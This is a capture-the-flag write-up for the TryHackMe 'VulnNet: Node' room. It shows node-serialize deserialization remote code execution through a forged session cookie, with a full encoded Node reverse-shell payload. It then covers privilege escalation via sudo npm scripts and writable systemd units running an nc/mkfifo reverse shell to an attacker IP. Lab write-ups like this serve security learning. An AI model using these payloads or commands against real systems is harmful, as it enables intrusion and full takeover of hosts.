After the previous breach, VulnNet Entertainment states it won’t happen again.
Can you prove they’re wrong?
Intro
VulnNet: Node is a challenge room on THM that’s described as:
“VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.”
This post contains spoilers for this challange! 👾
For this run I’m using a basic Ubuntu desktop with Firefox and some tools like nmap, base64, tcpdump, systemctl and netcat. 🐱
Network Enumeration
We can start off with a nmap
scan on the box with nmap -A -T4 [target-ip]
to see if there’s any common services running.
🎃 nmap -A -T4 [target-ip]
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-10 00:42 MDT
Nmap scan report for [target-ip]
Host is up (0.17s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
|_http-title: VulnNet – Your reliable news source – Try Now!
Nmap done: 1 IP address (1 host up) scanned in 46.60 seconds
The line below shows us that port 8080
is open and it’s a Node.js Express HTTP server.
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
It’s common for HTTP servers to run on a port like this. How about we take a look in the web browser at http://[target-ip]:8080
to see what it’s serving up?
Web App Recon
Loading up the server address in the browser we’re met with a typical blog page. The page has a few interesting things to spot right away. The left side of the page has a “Login Now” button with some text that says “Welcome, Guest”. I can’t help but wonder what is this “Guest”, actually?
After taking a look around the console for any possible errors and the page source for any interesting code or links, we’ll find that links don’t lead anywhere. Besides some authors names, most of the page has nothing of interest.
One link does work, the “Login Now” button.
Clicking the “Login Now” button brings us http://[target-ip]:8080/login?
, which shows a standard login form. Let’s start digging into how this form operates. When checking out the form HTML, we’ll see that nothing in the page source shows anything too intesting. Filling the login form with random dummy data and hitting submit does show us it’s using client side input validation for the field with type="email"
. Since the browser handles this, it could be bypassed easily.
We could start to run some fuzzing on the web directories and possible query params to dig deeper into this login form but I kept thinking about the “Welcome, Guest” text on the initial page.
Let’s go back to the root URL. Maybe there’s something we overlooked? Popping open Firefox Devtools, we can start checking the cookies under the storage > cookies tab.
Right away we can see there’s a session cookie is being set. 🍪
Being unsure of what kind of hash it is, we can web search an online hash checker. The hash checker detected it as an encoded base64
string. Neat, let’s decode it.
🎃 echo eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ|base64 -d
{"username":"Guest","isGuest":true,"encoding": "utf-8"}
Decoding the hash gets us a JSON string.
Exploit
Now we know the cookie is being read as JSON from the Node server. Let’s try setting the username
or isGuest
values to something different and see what happens. What if we try "username":"Admin"
or "isGuest":false
?
We’ll have to encode the JSON string back to base64
first before setting it as our session cookie value. Here’s our new JSON string we want to try:
{"username":"Admin","isGuest":false,"encoding": "utf-8"}
Here it is with base64
encode:
🎃 echo '{"username":"Admin","isGuest":false,"encoding": "utf-8"}'|base64
e3VzZXJuYW1lOkFkbWluLGlzR3Vlc3Q6ZmFsc2UsZW5jb2Rpbmc6IHV0Zi04fQo=
With this new session cookie value, let’s see how the site handles it once we alter the cookie and hit refresh.
It appears the “Guest” part of “Welcome, Guest” has changed in the HTML. Changing the isGuest
bool doesn’t appear to have any effect on the root page or the /login
page from earlier.
What I really want to know is, what happens if we send busted JSON formatting?
{username":"Guest","isGuest":true,"encoding": "utf-8"}
JSON does not like improper formatting in its structure and will throw an error if you break the formatting at all. I tried removing the first quotation mark "
, encoding back to base64
and sending the malformed JSON like we did last time.
SyntaxError: Unexpected token u in JSON at position 1
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/www/VulnNet-Node/server.js:16:24
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)
Well Hello World! Loading the page with our broken JSON in the cookie got the server to throw an error. Now it has exposed some internal server paths and that they’re using a Node package called node-serialize
trying to run unserialize()
.
First thing we can do is check the web for any known node-serialize
vulnerabilties. Doing a quick web search reveals CVE-2017-5941 for node-serialize 0.0.4
.
Further reading online can show us how this exploit works.
For successful exploitation, arbitrary code execution should occur when untrusted input is passed into unserialize() function.
Below we have a serialized wrapper function using child_process.exec()
to execute a ping command on the server.
_$$ND_FUNC$$_function () {
require('child_process').exec('ping -c2 [attacker-ip]',
function(error, stdout, stderr) {
console.log(stdout)
}
);
}()
Now we can put the serialized wrapper function as the value for username
in the JSON data.
{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('ping -c2 [attacker-ip]', function(error, stdout, stderr) { console.log(stdout) });}()","isGuest":true,"encoding": "utf-8"}
Just like before, we need to base64
encode the full JSON string.
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncGluZyAtYzIgW2F0dGFja2VyLWlwXScsIGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSIsImlzR3Vlc3QiOnRydWUsImVuY29kaW5nIjogInV0Zi04In0=
With our new cookie payload set, all we have to do is use tcpdump
on our network device to verify the ping came through.
🎃 sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:41:46.948453 IP [target-ip] > [attacker-ip]: ICMP echo request, id 1208, seq 1, length 64
02:41:46.948477 IP [attacker-ip] > [target-ip]: ICMP echo reply, id 1208, seq 1, length 64
Awesome, we were able to verify that ping
command got executed on the server.
Time to look up some reverse shells for Node! 🐱
After web searching for a little bit, I came across a super useful script called nodejsshell.py. With this we can generate encoded reverse shells for Node.
🎃 python nodejsshell.py [attacker-ip] [port]
The output below is the encoded reverse shell payload.
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,91,97,116,116,97,99,107,101,114,45,105,112,93,34,59,10,80,79,82,84,61,34,91,112,111,114,116,93,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
Just like before, let’s add to our serialized wrapper function.
{"username":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,91,97,116,116,97,99,107,101,114,45,105,112,93,34,59,10,80,79,82,84,61,34,91,112,111,114,116,93,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()","isGuest":true,"encoding": "utf-8"}
Finally, we base64
encode it.
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtldmFsKFN0cmluZy5mcm9tQ2hhckNvZGUoMTAsMTE4LDk3LDExNCwzMiwxMTAsMTAxLDExNiwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksMTEwLDEwMSwxMTYsMzksNDEsNTksMTAsMTE4LDk3LDExNCwzMiwxMTUsMTEyLDk3LDExOSwxMTAsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDk5LDEwNCwxMDUsMTA4LDEwMCw5NSwxMTIsMTE0LDExMSw5OSwxMDEsMTE1LDExNSwzOSw0MSw0NiwxMTUsMTEyLDk3LDExOSwxMTAsNTksMTAsNzIsNzksODMsODQsNjEsMzQsOTEsOTcsMTE2LDExNiw5Nyw5OSwxMDcsMTAxLDExNCw0NSwxMDUsMTEyLDkzLDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDkxLDExMiwxMTEsMTE0LDExNiw5MywzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkiLCJpc0d1ZXN0Ijp0cnVlLCJlbmNvZGluZyI6ICJ1dGYtOCJ9
All that’s left is to start a netcat
listener on our end.
🎃 nc -lvnp 4444
Listening on 0.0.0.0 4444
Now we can apply our new session cookie value and refresh.
🎃 nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on [target-ip] 50630
Connected!
whoami
www
The reverse shell payload succeeded and we have shell access! 🎊
We can use a trick I learned in my last challenge post to gain full shell:
/usr/bin/script -qc /bin/bash /dev/null
www@vulnnet-node:/home$
Privilege Escalation
Now that we have a full shell, we can start looking around for our first flag, user.txt
. Unfortunately doing a find
for the file did not return any results. With that we can start looking for anything that might help us escalate our privledges. First let’s see if we have any sudo
access.
www@vulnnet-node:~/VulnNet-Node$ sudo -l
sudo -l
Matching Defaults entries for www on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www may run the following commands on vulnnet-node:
(serv-manage) NOPASSWD: /usr/bin/npm
Running sudo -l
show us that we can run /usr/bin/npm
as user serv-manage
with no password. Working with Node in the past, I know it’s possible to have npm run commands via it’s package.json
scripts section. Maybe we can get it to execute one? Let’s see.
Here we can create a new package.json file for npm to read from. I’ve added a script called “privesc” that just spawns a new shell as user serv-manage
.
www@vulnnet-node:~$ echo '{"scripts": {"privesc": "/bin/sh"}}' > package.json
Let’s see if it runs with the sudo
command we have access to.
www@vulnnet-node:~$ sudo -u serv-manage npm run privesc
sudo -u serv-manage npm run privesc
> @ privesc /home/www
> /bin/sh
$ whoami
serv-manage
Now we have access to home directory of user serv-manage
.
$ ls -lha
...
-rw------- 1 serv-manage serv-manage 38 Jan 24 2021 user.txt
...
$ cat user.txt
cat user.txt
THM{************}
The first flag has been discovered! 👾
Root Privilege Escalation
We still have one more flag to find: root.txt
.
As user serv-manage
we can check sudo -l
again to see if we have access to anything.
$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl daemon-reload
Interesting. As user serv-manage
we have sudo
access to what looks like a service called vulnnet-auto.timer
and the ability to use daemon-reload
from systemctl
. What is daemon-reload
? Let’s check the systemctl
man page.
daemon-reload
Reload the systemd manager configuration. This will rerun all generators (see
systemd.generator(7)), reload all unit files, and recreate the entire dependency tree. While
the daemon is being reloaded, all sockets systemd listens on behalf of user configuration
will stay accessible.
This command should not be confused with the reload command.
The man page for systemctl
shows us it will reload all service files for us. Now let’s see if we can find anything useful in the service files. A locate vulnnet-job.service
command here works great for this but a quick web search will also tell us the serivce files for systemctl
live in /etc/systemd/system/
.
Inside we can spot the timer file and also a service file, both of which we have write permissions.
serv-manage@vulnnet-node:~$ ls -lha /etc/systemd/system/
...
-rw-rw-r-- 1 root serv-manage 167 Jan 24 2021 vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 197 Jan 24 2021 vulnnet-job.service
Let’s display what’s inside each file.
serv-manage@vulnnet-node:~$ cat /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service
[Install]
WantedBy=basic.target
serv-manage@vulnnet-node:~$ cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df
[Install]
WantedBy=multi-user.target
Here it appears the file called vulnnet-auto.timer
runs the vulnnet-job.service
file on boot in addition to once every 30mins. The vulnnet-job.service
service just runs /bin/df
. df
displays the amount of disk space available on the file system. Are you thinking what I’m thinking? Maybe we can change that to a shell script for our privesc.
The TTY bugs out when we try to use vi
or nano
so we’ll have to use echo for our new service file.
We’ll start with changing the vulnnet-auto.timer
file to run every 1 minute incase we don’t want to wait around to see if it works.
echo '[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
OnCalendar=*:0/1
Unit=vulnnet-job.service
[Install]
WantedBy=basic.target' > /etc/systemd/system/vulnnet-auto.timer
echo '[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
Type=forking
ExecStart=/tmp/shell
[Install]
WantedBy=multi-user.target' > /etc/systemd/system/vulnnet-job.service
Use echo to write into a reverse shell script.
The -e
flag allows us to use new line \n
characters.
echo -e '#!/bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attacker-ip] [port] >/tmp/f' > /tmp/shell
Quick cat
check to make sure it looks ok.
serv-manage@vulnnet-node:~$ cat /tmp/shell
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attacker-ip] [port] >/tmp/f
Just have to make it executable.
chmod +x /tmp/shell
Run a new listener on our end with netcat
.
🎃 nc -lvnp 9999
Listening on 0.0.0.0 9999
With our listener open and our modified service files in-place, we can start the vulnnet-auto.timer
service which will run vulnnet-job.service
on boot and every 1 minute.
serv-manage@vulnnet-node:~$ sudo -u root systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo -u root systemctl daemon-reload
serv-manage@vulnnet-node:~$ sudo -u root systemctl start vulnnet-auto.timer
🎃 nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on 10.10.246.192 55366
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
Nice! Now we’ve got root!
# ls -la /root
...
-rw------- 1 root root 38 Jan 24 2021 root.txt
...
# cat /root/root.txt
THM{************}
There’s the final flag! 👾👾👾
Outro
Holy hell, that was a lot of fun! I’m really glad I got to dive into learning more about systemctl services. Thanks to SkyWaves
for making this challenge.
Mitigation
Keep Node.js packages up to date or replace insecure ones.
Don’t allow the server to read in user input, like from easily modifiable JSON from cookies.